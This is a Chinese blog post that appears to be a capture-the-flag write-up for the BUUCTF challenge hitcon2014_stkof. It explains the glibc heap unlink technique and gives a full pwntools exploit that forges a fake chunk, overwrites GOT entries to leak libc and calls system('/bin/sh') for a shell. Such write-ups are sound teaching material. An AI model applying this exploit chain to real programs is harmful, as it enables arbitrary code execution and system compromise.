unlink buuctf hitcon2014_stkof 个人粗浅理解

菜鸡终于对unlink有了些许的了解,写一下自己的理解,用来备份
unlink就是从双向链表中取出元素的行为
感谢网上的多篇前辈的文章,其中这篇让我收获最多

https://bbs.pediy.com/thread-247007.htm
unlink 用来将一个双向链表(只存储空闲的 chunk)中的一个元素取出来,可能在以下地方使用

malloc

从恰好大小合适的 large bin 中获取 chunk。

这里需要注意的是 fastbin 与 small bin 就没有使用 unlink,这就是为什么漏洞会经常出现在它们这里的原因。

依次遍历处理 unsorted bin 时也没有使用 unlink 的。

从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。

Free

后向合并,合并物理相邻低地址空闲 chunk。

前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。

malloc_consolidate

后向合并,合并物理相邻低地址空闲 chunk。

前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。

realloc

前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)。

关于unlink的漏洞利用效果最终是指向前方三个内存单元处

最终的效果:指向target-0x18=global[0]-0x8
global是全局变量数组,这个概念我一开始也不了解,现在稍微抓到一点边,不知道是不是所有的heap都有这个

注意:

大多数题目的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域

先add4个chunk

add(0x20) #1
add(0x30) #2
add(0x80) #3
add(0x30) #4

每个chunk都有它的作用
1用来放free_got,后面修改为puts_plt和system_plt
2和3用来unlink
4用来放置/bin/sh\x00
注意:3必须不在fastbin范围中,不然free操作时不会向前合并空闲内存

修改chunk2,制造一个fake chunk,来进行unlink
具体的可以看看这篇

https://github.com/bash-c/slides/blob/master/pwn_heap/malloc-150821074656-lva1-app6891.pdf

在这里插入图片描述
在这里插入图片描述

然后free(3)
free之后我们到0x602130这去看看,
在这里插入图片描述
可以看到global[2]指向了global[2]-0x18这一步目前我只知道会这样,具体的原理还比较模糊,先记下吧
好像要unlink了才能触发global那里(大概)

然后从target-0x18开始改起,

p2 = 'a'*0x10 + p64(free_got)+p64(puts_got)
edit(2, p2) #target-0x8

在这里插入图片描述
可以看到确实修改了

然后修改global[1]的free_got为puts_plt
然后free(2)即为puts(puts_got)

p3 = p64(puts_plt)
edit(1, p3) #global[1]
free(2)     #chu fa

在这里插入图片描述
global[1]被修改了
然后free后就puts了puts_got的libc地址,以此算出libcbase

接着修改global[1]为system,将/bin/sh\x00写入global[4],然后free(4),触发sh

p4 = p64(system_addr)
edit(1, p4) #global[1]
edit(4, '/bin/sh\x00') #global[4]
free(4)     #chu fa

在这里插入图片描述

exp:

from pwn import *
from LibcSearcher import * 

local_file  = './stkof'
local_libc  = '/lib/x86_64-linux-gnu/libc-2.23.so'
remote_libc = './libc-2.23.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    #libc = ELF(local_libc)
else:
    r = remote('node3.buuoj.cn', 27302)
    #libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims			    :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))

def debug(cmd=''):
     gdb.attach(r,cmd)


def add(size):
    r.sendline("1")
    r.sendline(str(size))
    r.recvuntil("OK\n")
 
def free(idx):
    r.sendline("3")
    r.sendline(str(idx))
 
def edit(idx,strings):
    r.sendline("2")
    r.sendline(str(idx))
    r.sendline(str(len(strings)))
    r.send(strings)
    r.recvuntil("OK\n")

#0x602140 global[0]
target = 0x602140 + 0x10 #global[2]
fd = target - 0x18
bk = target - 0x10

add(0x20) #1
add(0x30) #2
add(0x80) #3 
add(0x30) #4 



p1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)+'a'*0x10+p64(0x30)+p64(0x90) #fake chunk
edit(2, p1) 
free(3) #unlink

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
#atoi_got = elf.got['atoi']
p2 = 'a'*0x10 + p64(free_got)+p64(puts_got)
edit(2, p2) #target-0x8

p3 = p64(puts_plt)
edit(1, p3) #global[1]
free(2)     #chu fa

fun_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
info_addr('fun_addr', fun_addr)

libc = LibcSearcher('puts', fun_addr)
libcbase = fun_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')

p4 = p64(system_addr)
edit(1, p4) #global[1]
edit(4, '/bin/sh\x00') #global[4]
free(4)     #chu fa

r.interactive()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值